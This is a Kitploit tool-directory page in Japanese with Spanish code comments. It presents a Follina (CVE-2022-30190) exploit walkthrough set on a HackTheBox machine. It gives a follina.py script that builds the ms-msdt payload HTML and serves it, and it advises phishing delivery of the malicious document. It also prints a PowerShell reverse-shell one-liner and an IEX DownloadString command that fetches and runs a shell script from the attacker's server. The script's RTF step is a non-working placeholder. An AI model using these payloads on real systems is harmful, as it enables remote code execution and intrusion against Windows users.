Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-30190 — CVE-2022-30190 (Follina) 用の自動化 PoC エクスプロイト。MSDT プロトコルを悪用して悪意のある RTF/DOCX ファイルを生成し、PowerShell を介して任意のコマンドを実行し、リバースシェルを展開します。 | Kitploit
ツール/GitHubGitHub/kaleth4/cve-2022-30190
ペイロード生成エクスプロイトウェブアプリケーション悪用フィッシングペネトレーションテストコマンド&コントロール
GitHubkaleth4/cve-2022-30190

CVE-2022-30190

CVE-2022-30190 (Follina) 用の自動化 PoC エクスプロイト。MSDT プロトコルを悪用して悪意のある RTF/DOCX ファイルを生成し、PowerShell を介して任意のコマンドを実行し、リバースシェルを展開します。

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Follina の悪用 (CVE-2022-30190)

Follina (CVE-2022-30190) は、Microsoft サポート診断ツール (MSDT) に影響を与える重大なリモートコード実行 (RCE) 脆弱性です。この欠陥は、元々 VirusTotal で検出された悪意のあるファイルを通じて発見され、研究者の Kevin Beaumont によって命名されました。

HackTheBox の Outdated マシンのコンテキストでは、この脆弱性はシステムへのアクセスを得るための主要なエントリベクトルとして使用されます。

脆弱性の概要

この悪用は、ms-msdt プロトコルスキームの悪用に基づいており、攻撃者が外部リソースを読み込むことで任意のコードを実行できるようにします。攻撃は、特別に細工された Office 文書 (DOCX) またはリッチテキストファイル (RTF) を開くかプレビューするだけでトリガーされます。

悪用手順

1. Exploit の準備

攻撃を自動化するには、GitHub などのプラットフォームで利用可能な概念実証 (PoC) スクリプトを使用することをお勧めします。follina.py スクリプトを使用すると、ペイロードを簡単に構成できます。

推奨リポジトリ: John Hammond や Edge-Security などの研究者による機能的なバージョンが言及されています。

生成コマンド:

root@kitploit:~
python3 follina.py -m command -t rtf -c "comando_a_ejecutar"

ここで:

  • -m は実行モード (command または binary) を指定します
  • -t はファイルの種類 (rtf または docx) を指定します
  • -c は注入するコマンドを指定します

2. ペイロードの注入

Windows で対話型コンソールを取得する効果的な方法は、Nishang スイートのリバースシェル (Invoke-PowerShellTcp.ps1) をダウンロードして呼び出す PowerShell ステートメントを注入することです。

悪用スクリプトは、Base64 でエンコードされた命令を含む悪意のある HTML リソースを生成し、それをローカル Web サーバー (ポート 80) に自動的にホストします。悪意のある文書 (click_me.rtf) はこの URL を指すように設定され、Windows の診断プロセスをトリガーしてコードを実行します。

3. 攻撃の実行

現実的なシナリオや監査シナリオでは、攻撃者はフィッシング技術や SMTP (swaks などのツールを使用) を通じて、HTML リソースへのリンクや悪意のある文書を被害者に送信できます。

ユーザーが操作した瞬間 (またはファイルを処理する自動タスクによって)、MSDT はペイロードを解釈し、攻撃者のマシンへの接続を確立します。

アクセスの獲得

接続を受信するには、攻撃者はリバースシェルで設定されたポートで待ち受け (netcat や rlwrap など) を行う必要があります。悪用に成功すると、操作を実行したユーザーの権限を持つ対話型コンソールが得られ、ローカル列挙と権限昇格に進むことができます。


follina.py スクリプトの実装

このスクリプトは、悪意のあるファイル (RTF または DOCX) の作成を自動化し、ms-msdt プロトコルスキームを悪用する HTML リソースを生成して、ペイロードを配信するためのローカルサーバーを起動します。

コード: follina.py

root@kitploit:~
import argparse
import base64
import http.server
import socketserver
import os
import threading

# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
    # El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # Payload que abusa del protocolo ms-msdt [5]
    # Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // Relleno adicional para asegurar el procesamiento
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
    print(f"[*] Generando archivo malicioso: {filename}")
    # Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
    with open(filename, "w") as f:
        f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
    parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
    
    args = parser.parse_args()

    # 1. Crear el payload HTML
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. Crear el documento malicioso
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://tu_ip_atacante")

    # 3. Iniciar el servidor para recibir la petición [4, 7]
    run_server(args.port)

使用方法に関する注意点

重要なパラメータ: ソースで説明されているように、スクリプトはモードに -m、ファイルタイプに -t、コマンドに -c を使用します。

PowerShell の注入: s4vitar のトレーニングで見られる一般的な使用方法は、対話型アクセスを得るために、Nishang のリバースシェル (Invoke-PowerShellTcp.ps1) をダウンロードして呼び出す PowerShell ステートメントを注入することです。

実行: 攻撃は、被害者が悪意のあるファイル (RTF/DOCX) を開くか、単に表示したときにトリガーされ、システムが HTML リソースを読み込もうとし、Microsoft 診断ツール (MSDT) を通じてコマンドを実行します。

待ち受け: 被害者マシンで exploit がトリガーされたら接続を受信できるように、リバースシェルで指定したポートで待ち受け (netcat など) を行っている必要があります。


Invoke-PowerShellTcp.ps1 スクリプト (Nishang)

Invoke-PowerShellTcp.ps1 スクリプトは、Windows システムでリバースシェルを取得するために Nishang スイートで最もよく使用されるツールの 1 つです。

1. 取得と準備

オリジナルのスクリプトは、GitHub の Nishang 公式リポジトリからダウンロードされます。使用するための一般的な手順は次のとおりです:

  • ダウンロード: wget を使用して、リソースを攻撃者のマシンに取得します。
  • リネーム: 被害者マシンから呼び出しやすくするために、reverse.ps1 や ps.ps1 など短い名前にリネームするのが一般的です。
  • 実行の自動化: スクリプトがメモリに読み込まれたときに自動的に実行されるように、ファイルの末尾にメイン関数の呼び出しを追加します。

2. スクリプト末尾の呼び出し構造

スクリプトを自動実行可能なペイロードに変換するには、.ps1 ファイルの末尾に次のような行を追加します:

root@kitploit:~
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>

<TU_IP_ATACANTE> と <TU_PUERTO> は、あなたの待ち受け設定 (例: 10.10.14.29 と 443) に置き換える必要があります。

3. "One-Liner" (単一行) バージョン

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

(注: このコードは、Compiled などのマシンの攻略で言及されている "gitbash" と対話型ターミナルのロジックに従っています。)

4. リモート呼び出し方法 (IEX)

攻撃者がスクリプトをローカル HTTP サーバー (ポート 80) にホストしたら、被害者マシンで IEX (Invoke-Expression) コマンドを使用して、ディスクに触れることなくメモリ内で直接読み込んで実行します:

root@kitploit:~
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"

この方法は、Follina などの脆弱性の悪用や、Web サービスを侵害した後の初期アクセスの獲得において基本となります。実行されると、攻撃者は待ち受け中の netcat セッションで接続を受信します。

root@kitploit:~
Pwned!!!
ツールをダウンロード